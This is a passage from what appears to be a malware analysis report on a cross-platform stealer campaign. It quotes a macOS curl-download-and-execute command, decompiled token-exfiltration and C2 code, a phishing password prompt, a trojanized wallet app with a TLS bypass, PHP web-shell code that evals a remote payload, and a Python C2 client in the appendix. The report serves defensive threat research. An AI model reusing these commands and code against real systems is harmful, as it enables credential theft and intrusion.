str): The configuration contains a large object with string tables. A static analysis of the binary confirms that none of these strings are referenced by the malware’s code, suggesting they are artifacts from a malware builder or intended for other variants.
4.7.8 ACR Stealer Secondary Payloads
The configuration retrieved from the C2 server instructs the ACR Stealer to download and execute three additional payloads using its in-memory loader module ("tr": 2). These tasks reveal the actor’s intent to deploy a wider range of malware, turning a compromised machine into a multi-purpose asset for token theft and inclusion in a botnet.
4.7.8.1 Amadey Botnet Deployment
The first payload, blender.bin, is configured for in-memory execution via process hollowing ("tf": 5). The file is a shellcode that uses at least two loader stages before deploying its final payload.
Analysis of the final payload identifies it as the Amadey bot, a commodity malware known for its ability to perform system reconnaissance, steal information, and load further modules. The deployment of Amadey signifies a shift from initial data theft to establishing long-term control over the infected host, allowing it to be integrated into a botnet for future tasking. The following configuration was extracted from the unpacked sample:
| Configuration Key | Value |
|---|---|
| Botnet ID | 827ad8 |
| Version | 5.64 |
| C2 Server | http://mi.limpingbronco.com |
| C2 Path | /kaWt2QXfpPueNM/index.php |
| Install Directory | 13e64f3440 |
| Install Filename | Vgkbbtrtj.exe |
| RC4 key | cce2d7028ce9989f6441655c223a8757 |
4.7.8.2 Go-based Discord Token Stealer
The second payload, discord.bin, is also a shellcode executed via process hollowing. Its final payload is a stealer written in the Go programming language, specifically designed to steal Discord authentication tokens. The malware follows a clear, multi-step process to locate and decrypt these tokens.
-
Target Discovery: The stealer first identifies potential target directories by constructing paths to common Discord client installations within the user’s
%APPDATA%folder. Its targets include the standarddiscordclient, as well asdiscordcanary,Lightcord, anddiscordptb.// Decompiled Go code constructing Discord paths v77 = fmt_Sprintf((int)"%s\\discord", 10, (int)v74, 1, 1); v76 = fmt_Sprintf((int)"%s\\discordcanary", 16, (int)v73, 1, 1); v75 = fmt_Sprintf((int)"%s\\Lightcord", 12, (int)v72, 1, 1); fmt_Sprintf((int)"%s\\discordptb", 13, (int)&v70, 1, 1); -
Master Key Retrieval and Decryption: To decrypt the stored tokens, the stealer must first acquire a master key. It reads the
Local Statefile from the Discord directory, which contains a JSON object. From this object, it extracts the Base64-encoded master key stored underos_crypt.encrypted_key. This key is itself encrypted using the Windows Data Protection API (DPAPI). The stealer decrypts it by invoking its internalmain_decryptDPAPIfunction, a wrapper for theCryptUnprotectDataWinAPI call, which it accesses by dynamically loadingcrypt32.dll. -
Token Hunting and Decryption: With the decrypted master key, the stealer scans the
Local Storage\leveldbsubdirectory for.logand.ldbfiles. It uses a regular expression to find patterns matching Discord tokens within these files. Each discovered token is then decrypted using AES-GCM with the master key obtained in the previous step. -
Data Exfiltration: All successfully decrypted tokens are concatenated into a single string. This string is then sent in an HTTP POST request to the hardcoded C2 endpoint
hxxps://hepahyy1[.]top/dst[.]php, completing the exfiltration process.// Decompiled Go code showing the exfiltration request v44 = net_http__ptr_Client_Post( off_9B2C60, (int)"hxxps://hepahyy1[.]top/dst[.]php", // C2 URL 28, (int)"application/x-www-form-urlencoded", // Content-Type ...
A YARA rule to detect this malware is provided in the appendix (see Section 7.1).
4.7.8.3 Flawed PowerShell Loader
The third payload is a PowerShell script configured for in-memory execution via IEX(DownloadString) ("tf": 4). Although the script is non-functional due to syntax errors, its structure is nearly identical to the PowerShell dropper from Stage 4.5 and it uses the same XOR key (AMSI_RESULT_NOT_DETECTED). This allows for manual deconstruction of its intended logic. The script was designed to function as a sophisticated loader with two primary stages.
-
AMSI Bypass: The script’s first action is to neutralize the Anti-Malware Scan Interface. It does this by scanning the memory of its own process for the loaded
clr.dllmodule. Once found, it searches for the function signature ofAmsiScanBufferand overwrites it with null bytes, effectively patching the function to prevent it from scanning subsequent malicious code. -
High-Value Target Profiling: After disabling AMSI, the script profiles the system to determine if it is a valuable target. It checks for two conditions:
- It verifies if the machine is joined to a corporate domain using
(Get-WmiObject -Class Win32_ComputerSystem).PartOfDomain. - It searches the filesystem and registry for indicators of over 20 different cryptocurrency wallet applications, including
Ledger Live,Trezor Suite,BitBox, andBCVault.
If the machine is not on a domain or has at least one cryptocurrency wallet installed, it is considered a high-value target, and the script proceeds to the final stage.
- It verifies if the machine is joined to a corporate domain using
-
Final Payload Delivery: For valuable targets, the script downloads a final payload from
hxxps://congenialespresso[.]top/t7pn2gM7PbuVTY/qWzG5YZweQmNkV[.]jpg. It then unpacks and executes this payload, which also establishes persistence via a Scheduled Task or a Run key. Public threat intelligence directly associates thecongenialespresso.topdomain with previous Acreed campaigns. It can be theorized that this flawed script was intended to deploy another instance of the Acreed stealer, but was misconfigured by the operator.
4.8 Stage 4, Post-Exploitation: macOS Infection Chain
For macOS users, the social engineering tactic is the same, but the command copied to the clipboard is tailored for a Unix-like environment and initiates a distinct, multi-stage infection chain.
-
Instructions: The visual instructions mirror the Windows version, prompting the user to open a terminal and paste the command.
-
Command: The command downloads a native Mach-O binary, saves it as
update, and executes it.sh -c 'cd "${TMPDIR:-/tmp}" && curl -fsSL hxxps://495161[.]yummygorgeous[.]com/App[.]bin -o update && xattr -c update 2>/dev/null || true && chmod +x update && ./update' -
Execution: This command downloads the
App.binpayload. Thexattr -c updatecommand removes extended attributes, including the macOS quarantine flag, which allows the binary to bypass Gatekeeper’s security checks. The binary is then made executable and run, serving as the entry point for the main information-stealing payload.
While the Windows payload involves a complex chain of VBScript and PowerShell, the macOS payload uses a more direct approach involving a native binary downloader and a comprehensive AppleScript-based information stealer.
4.8.1 Stage 4.1 (macOS): Native Dropper Execution
The App.bin binary executed by the user is a native Mach-O executable that serves as a downloader and launcher for the main AppleScript payload. Analysis of its decompiled code reveals its core functions:
-
Daemonization: It immediately calls
fork()andsetsid()to run as a background process, detaching from the user’s terminal and ensuring it continues to run even if the terminal is closed. Standard input, output, and error streams are redirected to/dev/null. -
Evasion: After forking, it executes
killall Terminal. This closes the Terminal application, hiding the malware’s execution from a user who may have manually opened a terminal to run the initial command. -
C2 Configuration: The binary contains hardcoded C2 configuration used throughout the attack chain:
- Domain:
goalbus.space - API Key:
5190ef1733183a0dc63fb623357f56d6 - Build ID:
6144b59e8aa5227d2cd5f9144fe8b847ee8cceeeb1d73ba99dbe33188162efab
- Domain:
-
Payload Fetching: It constructs and executes a
curlcommand to download an AppleScript from the C2 server’s/dynamicendpoint. The request includes the hardcoded API key in its headers. The downloaded script is piped directly toosascriptfor in-memory execution. -
Data Exfiltration: After the
osascriptcommand completes, the binary constructs a secondcurlcommand to upload a file named/tmp/osalogging.zipto the C2′s/gateendpoint. This exfiltrates the data collected by the AppleScript payload.
The C2 communication and exfiltration logic is clearly visible in the decompiled binary.
// ... fork() and setsid() calls to daemonize ...
strcpy(killall_Terminal, "killall Terminal");
system(killall_Terminal);
// Construct and execute the command to fetch the AppleScript payload.
snprintf(
__str,
0x800u,
"curl -k -s -H \"api-key: %s\" https://%s/dynamic?txd=%s | osascript",
"5190ef1733183a0dc63fb623357f56d6",
"goalbus.space",
"6144b59e8aa5227d...");
system(__str); // Execute AppleScript downloader
// After the AppleScript runs, exfiltrate the results.
snprintf(
__str,
0x800u,
"curl -k -X POST ... -F \"file=@/tmp/osalogging.zip\" ... https://%s/gate",
"goalbus.space", ...);
system(__str);
4.8.2 Stage 4.2 (macOS): The AppleScript Information Stealer (Mac.c)
The executed AppleScript is a sophisticated information stealer. While it writes the string “MacSync Stealer” to a log file, this appears to be a new or internal name, as the payload is a clear variant of the known Mac.c stealer family [3].
writeText("MacSync Stealer\n\n", writemind & "info")
The attribution to the Mac.c family is based on several key pieces of evidence:
- Identical Dropper TTPs: The initial native Mach-O dropper (
App.bin) uses acurl ... | osascriptcommand pattern to fetch and execute the AppleScript payload in memory. This specific execution pipeline is a known characteristic of the Mac.c stealer’s delivery mechanism. - Significant Code Overlap: A substantial number of hardcoded strings within the AppleScript—including targeted file paths, browser application names, and cryptocurrency wallet directories—are identical to those found in previously analyzed Mac.c samples.
- Identical Exfiltration Artifact: The script packages all stolen data into a compressed archive named
/tmp/osalogging.zip. This specific output filename and path is a direct match with the known behavior of the Mac.c stealer. - Shared Persistence Mechanism: The technique of achieving persistence by backdooring the Ledger Live application (detailed in Stage 4.3) is a hallmark TTP previously attributed to the Mac.c stealer.
This specific attribution is a key outcome of our manual analysis. Public threat intelligence platforms either provide only generic detections for this payload (e.g., OSX/Generic.Stealer) or misidentify it entirely, with some systems flagging it as the unrelated “Atomic Stealer.” Our analysis provides the definitive identification, linking this recent campaign to a known and active macOS threat.
YARA rules to detect both the native Mach-O dropper and the AppleScript stealer payload are provided in the appendix (see Section 7.2).
The stealer proceeds to perform a wide range of data collection activities, preparing the stolen information for exfiltration.
4.8.2.1 Password Phishing
The script’s first action is to obtain the user’s login password via social engineering in the getpwd function. It displays a fake “System Preferences” dialog (shown in Figure 3), claiming that “You should update the settings to launch the application.” It repeatedly prompts the user for their password in a hidden text field until a valid one is entered, which it verifies using dscl. The stolen password is then saved to a file for exfiltration.
repeat
set result to display dialog "You should update the settings to launch the application." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
set password_entered to text returned of result
if checkvalid(username, password_entered) then
writeText(password_entered, writemind & "Password")
return password_entered
end if
end repeat
4.8.2.2 Data Collection
The script targets a vast array of sensitive user data, staging it all in a temporary directory (/tmp/<random_number>/):
-
System Information: Gathers the current username, stealer version (
1.0.5_release), build tag (GETWELL), and a detailed hardware, software, and display profile viasystem_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType. -
Browser Data: Targets over a dozen Chromium-based browsers, stealing
Cookies,Web Data, andLogin Data. It contains a hardcoded list of over 140 crypto-wallet browser extension IDs to exfiltrate their full storage directories. -
Cryptocurrency Wallets: Targets data directories of more than 15 desktop crypto wallets (Exodus, Atomic, Electrum, etc.), configuration files for Binance and Tonkeeper, and the user’s entire
login.keychain-dbfile. -
Telegram: Exfiltrates the entire
~/Library/Application Support/Telegram Desktop/tdata/folder, allowing for session hijacking. -
File Grabber: Searches the user’s Desktop, Documents, and Downloads for files with sensitive extensions:
pdf,docx,doc,wallet,keys,db,txt, andseed, copying up to 10 MB of matching files.
4.8.2.3 Data Packaging
After collection, all stolen data is compressed into a single archive, /tmp/osalogging.zip, using the ditto -c -k --sequesterRsrc command. This zip file is the artifact that the parent App.bin process uploads to the C2 server.
4.8.3 Stage 4.3 (macOS): Persistence via Trojanized Applications
The final stage of the AppleScript payload is to establish persistence by replacing legitimate cryptocurrency wallet applications with trojanized versions downloaded from the C2 server.
The script targets both Ledger Live.app and Trezor Suite.app. The download for the malicious Ledger Live application was successful, but the request for the Trezor application (hxxps://goalbus[.]space/trezor/...) resulted in a 404 Not Found error, suggesting this part of the campaign may be inactive or was not fully configured on the C2 server at the time of analysis.
The script proceeds to unzip the downloaded archive, forcefully terminate any running instance of the legitimate application, and replace the original application bundle in /Applications with the malicious version.
-- Download the malicious Ledger Live application zip
set LEDGERURL to "hxxps://goalbus[.]space/ledger/..."
set LEDGERDMGPATH to "/tmp/....zip"
do shell script "curl -k ... -L " & quoted form of LEDGERURL & " -o " & quoted form of LEDGERDMGPATH
-- Unzip, kill the existing process, and replace the original application
try
do shell script "killall -9 'Ledger Live'"
end try
do shell script "rm -rf '/Applications/Ledger Live.app'"
do shell script "cp -R '/tmp/Ledger Live.app' '/Applications'"
4.8.3.1 Analysis of the Trojanized Ledger Live Application
The binary is a malicious macOS application written in Objective-C, designed to impersonate the legitimate “Ledger Live” software. Its primary function is to serve as a sophisticated phishing tool to steal cryptocurrency wallet credentials.
The core malicious logic is implemented within the AppDelegate class, which controls the application’s lifecycle and user interface.
4.8.3.1.1 C2 Communication and Phishing Payload Delivery
Upon launch, the applicationDidFinishLaunching: method immediately sets up a WKWebView component. This web view is not used for legitimate application functions but is instead hardcoded to load a remote phishing page from an attacker-controlled server.
The application connects to hxxps://goalbus[.]space/ledger/start/<build_id> and includes a hardcoded api-key header in the HTTP request. This key likely serves as an identifier for this specific malware campaign or build, allowing the attacker to track its effectiveness.
The relevant decompiled code clearly shows the URL and API key being prepared for the web request:
// Decompiled snippet from -[AppDelegate applicationDidFinishLaunching:]
// 1. Hardcoded URL for the phishing page
URLString = objc_retain(CFSTR("hxxps://goalbus[.]space/ledger/start/6144b59e8aa5227d2cd5f9144fe8b847ee8cceeeb1d73ba99dbe33188162efab"));
// 2. Hardcoded API key for C2 communication
location__1 = objc_retain(CFSTR("5190ef1733183a0dc63fb623357f56d6"));
// 3. Create a URL request object
v24 = objc_retainAutoreleasedReturnValue(+[NSURL URLWithString:](&OBJC_CLASS___NSURL, "URLWithString:", URLString));
location_2[0] = objc_retainAutoreleasedReturnValue(+[NSMutableURLRequest requestWithURL:](&OBJC_CLASS___NSMutableURLRequest, "requestWithURL:"));
objc_release(v24);
// 4. Inject the API key into the HTTP headers
objc_msgSend(location_2[0], "setValue:forHTTPHeaderField:", location__1, CFSTR("api-key"));
// 5. Load the request in the WebView
self_5 = objc_retainAutoreleasedReturnValue(-[AppDelegate webView](self_1, "webView"));
v4 = objc_unsafeClaimAutoreleasedReturnValue(-[WKWebView loadRequest:](self_5, "loadRequest:", location_2[0]));
4.8.3.1.2 TLS Certificate Validation Bypass
To ensure a seamless connection to its C2 server, which may be using a self-signed or untrusted TLS certificate, the malware explicitly bypasses standard certificate validation. This is a critical feature that prevents macOS from displaying security warnings that would alert the user to a potentially malicious connection.
This bypass is implemented in the webView:didReceiveAuthenticationChallenge:completionHandler: delegate method. The code checks if the connection challenge is for server trust (NSURLAuthenticationMethodServerTrust). If it is, it programmatically creates a credential from the untrusted server certificate and instructs the web view to accept it, thereby completing the TLS handshake without proper validation.
// Decompiled method responsible for bypassing TLS certificate validation
void __cdecl -[AppDelegate webView:didReceiveAuthenticationChallenge:completionHandler:](
AppDelegate *self, SEL a2, id webView, id challenge, id completionHandler)
{
id protectionSpace; // self_1
id authMethod; // self_2
BOOL isServerTrustChallenge; // v10
// Get the protection space and authentication method from the challenge
protectionSpace = objc_msgSend(challenge, "protectionSpace");
authMethod = objc_msgSend(protectionSpace, "authenticationMethod");
// Check if the authentication method is for server trust
isServerTrustChallenge = (BOOL)objc_msgSend(authMethod, "isEqualToString:", NSURLAuthenticationMethodServerTrust);
// ... (releases) ...
if (isServerTrustChallenge)
{
// If it is a server trust challenge, get the server's trust object
id serverTrust = objc_msgSend(protectionSpace, "serverTrust");
// Create a credential that blindly accepts this trust object
id credential = +[NSURLCredential credentialForTrust:](&OBJC_CLASS___NSURLCredential, "credentialForTrust:", serverTrust);
// Call the completion handler to proceed with the connection, using the generated (unsafe) credential
((void (*)(id, NSInteger, id))completionHandler)(completionHandler, 0 /* UseCredential */, credential);
}
else
{
// For all other challenges, perform default handling
((void (*)(id, NSInteger, id))completionHandler)(completionHandler, 2 /* PerformDefaultHandling */, 0);
}
}
4.8.3.1.3 User Interface Spoofing
To maintain the illusion of legitimacy, the application spoofs the appearance of the real Ledger Live client. It sets the main window title to “Ledger Live” and locks the window dimensions to a fixed size of 1250x775 pixels, making it non-resizable. This ensures the phishing content within the web view is displayed precisely as intended by the attacker, without distortion or user interference. The content displayed in the webview is shown in Figure 4 and Figure 5.
WKWebView.By combining a spoofed user interface with a TLS validation bypass, the application is engineered to capture wallet credentials and seed phrases from its remote phishing page without triggering standard security warnings.
4.9 Attribution and Links to the Acreed Infostealer
The Tactics, Techniques, and Procedures observed in this campaign—specifically the use of a fake captcha lure and the reliance on BSC smart contracts for C2—align directly with the characteristics of the Acreed infostealer documented in the Intrinsec “Analysis of Acreed, a rising infostealer” report. A deeper investigation into the on-chain infrastructure confirms that this is a more recent campaign operated by the same threat actor.
While the Intrinsec report successfully linked Acreed’s server infrastructure to the Vidar stealer ecosystem, our analysis provides a direct, internal link between the actor’s past and present on-chain transactional activities, confirming their continued activity and operational evolution.
4.9.1 Operational Control and Infrastructure Setup
The wallet address 0xd71f4cdc84420d2bd07f50787b4f998b4c2d5290 was identified as the sole creator of all smart contracts deployed in this campaign, establishing it as the actor’s current primary operational wallet. The contracts created by this address form the core of the attack’s delivery and C2 infrastructure:
- Initial Loader Contract:
0xA1decFB75C8C0CA28C10517ce56B710baf727d2e - Windows Payload Contract:
0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff - macOS Payload Contract:
0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5 - Victim Tracking Contract:
0xf4a32588b50a59a82fbA148d436081A48d80832A
4.9.2 On-Chain Transactional Analysis and Actor Continuity
The definitive link to the original Acreed campaign is established through multiple, overlapping on-chain transactional patterns that confirm the continuity of the threat actor’s operations.
First, our analysis identified a common network of approximately 20 intermediary wallet addresses that were used exclusively to supply testnet BNB for gas fees. These dedicated addresses replenished both the wallet associated with the ClickFix activities in the Intrinsec report (0x7102...b94d) and the new operational wallet (0xd71f...5290). This shared, single-purpose funding infrastructure is a strong indicator of a single operator. Transaction analysis revealed a distinct temporal shift: approximately 140 days ago, these gas-supplying addresses ceased sending funds to the old wallet and simultaneously began funding the new one exclusively. This pattern indicates a deliberate rotation of on-chain infrastructure.
Second, reinforcing this connection is a direct, linear funding chain. The original wallet (0x7102...b94d) funded an intermediary address (0xAf7b...d2E1), which in turn provided the initial funding for the current primary operational wallet (0xd71f...5290). This direct flow of funds provides an undeniable link between the old and new infrastructure.
Notably, this now-active operational wallet (0xd71f...5290) was previously mentioned in the Intrinsec report. However, at the time of their analysis, it was not associated with any live malicious operations. Our findings demonstrate that the threat actor has since activated this address, using it as the core of their evolved C2 infrastructure, confirming that the actor remains active and has evolved their operational setup since the period covered by the prior research.
4.9.3 On-Chain Artifacts: The DSH v0.1 Web Shell
Further on-chain investigation revealed additional tools in the actor’s arsenal, providing insight into how they manage their web-based infrastructure. The same operational wallet (0xd71f...5290) that deployed the C2 smart contracts also created a contract identified in previous public reporting as a “test” contract (0xfa49...2ba0). While most transactions to this contract stored simple strings like “test”, one transaction (0x586c...7105) contained a URL pointing to content on the InterPlanetary File System (IPFS).
The content retrieved from this link (ipfs://QmYWm...HVdP2) was a sophisticated, single-file PHP web shell. The HTML output of the script identifies it as “DSH v0.1”. This artifact provides a direct link between the actor’s on-chain C2 management and their methods for controlling compromised web servers.
4.9.3.1 Access Control and Evasion
The web shell implements an access control mechanism that restricts usage to specific IP subnets and a predefined User-Agent string.
- IP Address Whitelisting: The script calculates the MD5 hash of the visitor’s
/24IP subnet (e.g.,md5("192.168.1")) and compares it against a list of three valid hashes. Any request from an IP outside of these subnets is immediately terminated. - User Agent Whitelisting: As an alternative, it also grants access if the request’s User-Agent string contains
"ShellBot 2.0", a known indicator associated with scanning for this specific web shell family.
$_hash = array(
"5a0894e0c916a1da73ac51c9a089b480", // md5("46.8.231")
"f97927a4fb5f0f6b913b56393939ae6a", // md5("193.58.120")
"b030f3ebeeceadb720167ecfbf573184" // md5("146.103.111")
);
// ...
$subnet = md5(substr($_adddr, 0, -strlen(strrchr($_adddr, "."))));
if (!in_array($subnet, $_hash) && !str_contains($user_agent, 'ShellBot 2.0')){
die($_adddr);
}
The hardcoded hashes correspond to the following IP subnets, likely representing the attacker’s operational infrastructure: 46.8.231.0/24, 193.58.120.0/24, and 146.103.111.0/24.
4.9.3.2 Core Functionality: AJAX-Based File Manager
The web shell provides the operator with a comprehensive, AJAX-powered interface for managing the compromised server’s file system. Its capabilities include:
- Navigating the directory structure.
- Viewing and editing the content of text-based files.
- Uploading new files from the operator’s machine.
- Downloading files from a remote URL to the compromised server.
- Creating and deleting files and directories.
- Changing file permissions, with a one-click option to set them to
777(read, write, and execute for all users).
4.9.3.3 Remote Payload Execution
The script includes a mechanism to download and execute a secondary PHP payload. This functionality allows the attacker to update the web shell or load additional modules on the fly.
The getFile() function is used to fetch a payload from a hardcoded Bitly URL (https://bit.ly/wsoExGently2), which redirects to a raw Gist page containing PHP code. The script then executes this code using eval(). Interestingly, this execution is triggered only if the server’s disable_functions configuration setting is populated, suggesting the secondary payload may be designed to bypass specific security restrictions on the compromised host.
$disable_functions = @ini_get('disable_functions');
if( $disable_functions ) {
eval(getFile($part_url));
}
4.9.3.4 Role in the Attack Chain
The discovery of this web shell directly links the actor’s on-chain C2 infrastructure to their web server compromise toolkit. Given that the main stealer campaign originates from an injected script on a compromised WordPress site, it is highly probable that the DSH web shell is the tool used by the actor to maintain persistent access to these servers. This allows them to inject and update the initial JavaScript loaders that kickstart the infection chain. While it is possible the actor only stored this script on the blockchain for testing purposes, its presence within their operational infrastructure strongly suggests it is part of their standard toolset for managing compromised web assets.
4.10 Conclusion
This malware campaign demonstrates a sophisticated, cross-platform attack that leverages a hybrid C2 architecture to combine resilience with granular operational control. The threat actor displays a deep understanding of both Windows and macOS, deploying distinct toolchains designed to maximize impact while evading detection.
The key stages and findings of the campaign are:
-
Unified Initial Access & Resilient C2: The attack originates from a compromised website, using a blockchain-based loader to fetch subsequent stages from Binance Smart Chain (BSC) smart contracts. This decentralized approach makes the initial command-and-control infrastructure exceptionally resistant to takedowns.
-
Platform-Aware Social Engineering: A common fake reCAPTCHA lure is used to trick victims into manually executing a payload. The command copied to the user’s clipboard is platform-specific, initiating either an
mshtacommand on Windows or acurl | shpipeline on macOS. -
Divergent and Complex Post-Exploitation Chains: After the initial user-assisted execution, the infection paths diverge completely:
-
On Windows, the malware employs a deep, fileless execution chain involving VBScript and multiple layers of obfuscated PowerShell to deploy the PureCrypter loader, which in turn executes the ACR information stealer.
A key contribution of this report is the full documentation of the ACR Stealer’s C2 configuration format. This analysis reveals a modular tasking system that allows the stealer to function as a versatile secondary dropper. In this campaign, it was tasked with deploying additional malware, including the Amadey botnet client and a custom Go-based Discord token stealer, demonstrating the actor’s intent to establish long-term persistence and monetize compromised hosts through multiple avenues.
-
On macOS, the malware utilizes a native Mach-O binary to launch its final payload. While this payload internally labels itself as “MacSync Stealer,” we definitively attribute it to the Mac.c stealer family. This attribution is based on the native dropper’s characteristic execution pattern, the use of an identical exfiltration archive path (
/tmp/osalogging.zip), significant code and string overlap in the AppleScript payload, and its distinctive method of trojanizing applications for persistence.
-
-
Targeted Final Payloads and Persistence: The ultimate goals are tailored to each platform. The Windows chain culminates in the deployment of the ACR Stealer for broad, configurable data theft. The macOS chain, however, adds a pernicious persistence mechanism by trojanizing legitimate cryptocurrency applications (
Ledger Live,Trezor Suite). It replaces them with malicious WebView-based applications that load phishing pages from the C2 server, aiming for the long-term theft of high-value wallet credentials and seed phrases.
This campaign highlights a well-resourced and adaptable adversary, capable of managing a novel C2 infrastructure while simultaneously developing and deploying two entirely separate, feature-rich toolchains customized for the dominant desktop operating systems. The discovery of their associated web shell tooling provides a more complete picture of their operational lifecycle, from initial web server compromise to final payload execution.
5 Appendix
5.1 Acreed C2 download script
import requests
import base64
import json
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
# --- Malware Constants ---
OBFUSCATED_C2_STRING = "DRsDBwUXAwMdMQEA"
C2_HOST_HEADER = "aether100pronotification.table.core.windows.net"
PAYLOAD_GUID = "08de0189-4e5e-477f-8700-1cd264a45266"
AES_KEY = bytes.fromhex(
"7640FED98A53856641763683163F4127B9FC00F9A788773C00EE1F2634CEC82F"
)
XOR_KEY = b"852149723\x00"
# --- Directory Definitions ---
RESPONSE_DIR = "responses"
PAYLOAD_DIR = "payloads"
# --- Helper Functions ---
def save_to_file(directory, filename, data):
"""Saves data to a file in the specified directory."""
filepath = os.path.join(directory, filename)
mode = 'wb' if isinstance(data, bytes) else 'w'
encoding = None if mode == 'wb' else 'utf-8'
try:
with open(filepath, mode, encoding=encoding) as f:
f.write(data)
print(f" [+] Saved data to '{filepath}'")
except Exception as e:
print(f" [!] Failed to save data to '{filepath}': {e}")
def encrypt_request(data_dict: dict) -> bytes:
"""Encrypts the request body using AES-256-CBC."""
plaintext = json.dumps(data_dict).encode('utf-8')
iv = os.urandom(16)
cipher = AES.new(AES_KEY, AES.MODE_CBC, iv)
padded_plaintext = pad(plaintext, AES.block_size)
ciphertext = cipher.encrypt(padded_plaintext)
return iv + ciphertext
def decrypt_response(response_data: bytes) -> bytes:
"""Decrypts the C2 response using AES-256-CBC."""
if len(response_data) < 16:
raise ValueError("Response data is too short to contain an IV.")
iv = response_data[:16]
ciphertext = response_data[16:]
cipher = AES.new(AES_KEY, AES.MODE_CBC, iv)
padded_plaintext = cipher.decrypt(ciphertext)
try:
plaintext = unpad(padded_plaintext, AES.block_size)
return plaintext
except ValueError:
return padded_plaintext
def xor_decrypt(data: bytes, key: bytes) -> bytes:
"""Decrypts data using a repeating XOR key."""
return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])
def decode_c2_domain(obfuscated_str: str) -> str:
"""Decodes the C2 domain from the obfuscated string."""
decoded_b64 = base64.b64decode(obfuscated_str)
decrypted_domain = xor_decrypt(decoded_b64, XOR_KEY)
return decrypted_domain.decode('utf-8')
# --- Main Script Logic ---
def main():
os.makedirs(RESPONSE_DIR, exist_ok=True)
os.makedirs(PAYLOAD_DIR, exist_ok=True)
print(f"[*] Saving all intermediate responses to the '{RESPONSE_DIR}/' directory.")
try:
c2_domain = decode_c2_domain(OBFUSCATED_C2_STRING)
print(f"[*] Decoded C2 domain: {c2_domain}")
except Exception as e:
print(f"[!] Failed to decode C2 domain: {e}")
return
c2_url_base = f"https://{c2_domain}/"
headers = {
"Content-Type": "application/octet-stream",
"Connection": "close",
"Host": C2_HOST_HEADER
}
# === STEP 1: Get Endpoints ===
print("\n[*] STEP 1: Performing 'GetEndpoints' handshake...")
get_endpoints_json = {"Command": "GetEndpoints"}
encrypted_endpoints_body = encrypt_request(get_endpoints_json)
try:
response_step1 = requests.post(c2_url_base, data=encrypted_endpoints_body, headers=headers, verify=False, timeout=10)
response_step1.raise_for_status()
print(f"[+] Received {len(response_step1.content)} bytes from C2.")
save_to_file(RESPONSE_DIR, "step1_raw_encrypted_response.bin", response_step1.content)
except requests.exceptions.RequestException as e:
print(f"[!] HTTP Request for endpoints failed: {e}")
return
try:
decrypted_endpoints_response = decrypt_response(response_step1.content)
endpoints_config = json.loads(decrypted_endpoints_response)
print("[+] Decrypted endpoints configuration.")
save_to_file(RESPONSE_DIR, "step1_decrypted_endpoints.json", json.dumps(endpoints_config, indent=4))
payload_config_path = endpoints_config.get("c")
if not payload_config_path:
print("[!] Could not find the required path ('c' key) in the endpoints response.")
return
print(f"[*] Extracted payload config path: '{payload_config_path}'")
except Exception as e:
print(f"[!] Failed to process endpoints response: {e}")
return
# === STEP 2: Get Payload Configuration ===
print("\n[*] STEP 2: Fetching the main payload configuration...")
get_payload_json = {"Id": PAYLOAD_GUID}
encrypted_payload_body = encrypt_request(get_payload_json)
payload_config_url = f"https://{c2_domain}{payload_config_path}"
try:
response_step2 = requests.post(payload_config_url, data=encrypted_payload_body, headers=headers, verify=False, timeout=10)
response_step2.raise_for_status()
print(f"[+] Received {len(response_step2.content)} bytes from C2.")
save_to_file(RESPONSE_DIR, "step2_raw_encrypted_response.bin", response_step2.content)
except requests.exceptions.RequestException as e:
print(f"[!] HTTP Request for payload config failed: {e}")
return
# === STEP 3: Decrypt and Process Final Config ===
print("\n[*] STEP 3: Decrypting and processing final configuration...")
try:
decrypted_c2_response = decrypt_response(response_step2.content)
print("[+] AES decryption successful.")
save_to_file(RESPONSE_DIR, "step3_1_aes_decrypted.b64", decrypted_c2_response)
except Exception as e:
print(f"[!] AES decryption failed: {e}")
return
try:
base64_decoded_data = base64.b64decode(decrypted_c2_response)
print(f"[+] Base64 decoding successful ({len(base64_decoded_data)} bytes).")
save_to_file(RESPONSE_DIR, "step3_2_b64_decoded.bin", base64_decoded_data)
except Exception as e:
print(f"[!] Base64 decoding failed: {e}")
return
final_config_json_data = xor_decrypt(base64_decoded_data, XOR_KEY)
print("[+] XOR decryption successful.")
save_to_file(RESPONSE_DIR, "step3_3_final_decrypted_config.bin", final_config_json_data)
try:
final_config = json.loads(final_config_json_data)
save_to_file(RESPONSE_DIR, "final_config.json", json.dumps(final_config, indent=4))
print("[+] Successfully parsed final configuration as JSON.")
except json.JSONDecodeError as e:
print(f"[!] Failed to parse final config as JSON: {e}")
return
# === STEP 4: Download Payloads from 'ld' Jobs ===
if 'ld' in final_config and isinstance(final_config.get('ld'), list):
print(f"\n[*] STEP 4: Found download jobs. Saving to '{PAYLOAD_DIR}/' directory...")
for idx, job in enumerate(final_config.get('ld', [])):
if 'u' in job:
url = job.get('u')
filename = os.path.basename(url.split('?')[0]) or f"payload_{idx+1}.bin"
print(f" -> Downloading from: {url}")
try:
payload_response = requests.get(url, verify=False, timeout=15)
payload_response.raise_for_status()
save_to_file(PAYLOAD_DIR, filename, payload_response.content)
except requests.exceptions.RequestException as e:
print(f" [!] Failed to download payload from {url}: {e}")
else:
print(f" [!] Job {idx+1} is missing a URL ('u' key).")
else:
print("\n[*] No download jobs ('ld' key) found in the configuration.")
if __name__ == "__main__":
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
main()
5.2 Acreed Configuration Reference Table
| JSON Key | Possible Values | Description |
|---|---|---|
b |
Array of Objects | Top-level key for an array of browser data theft tasks. |
b[*].n |
String (e.g., "b\\c8") |
Internal name or identifier used by the malware to categorize the target browser profile. |
b[*].p |
String (e.g., "\\Local\\...\\User Data") |
The relative path to the browser’s data directory, starting from a user’s base profile folder (e.g., %APPDATA% or %LOCALAPPDATA%). |
b[*].t |
1 = Chromium-based2 = Gecko-based (Firefox) |
A flag indicating the browser’s engine type. This determines which set of functions and file targets (e.g., Login Data vs. logins.json) the malware will use to steal data. |
b[*].pn |
String (e.g., "chrome.exe") |
The executable name of the browser. This process is launched in a suspended state and used as a host for process hollowing to decrypt certain types of browser data, like credentials and cookies. |
exW, exP, exG |
Array of Objects | Arrays defining targets for stealing data from specific browser extensions. The letters likely stand for Wallets, Passwords, and General extensions. |
exW[*].id |
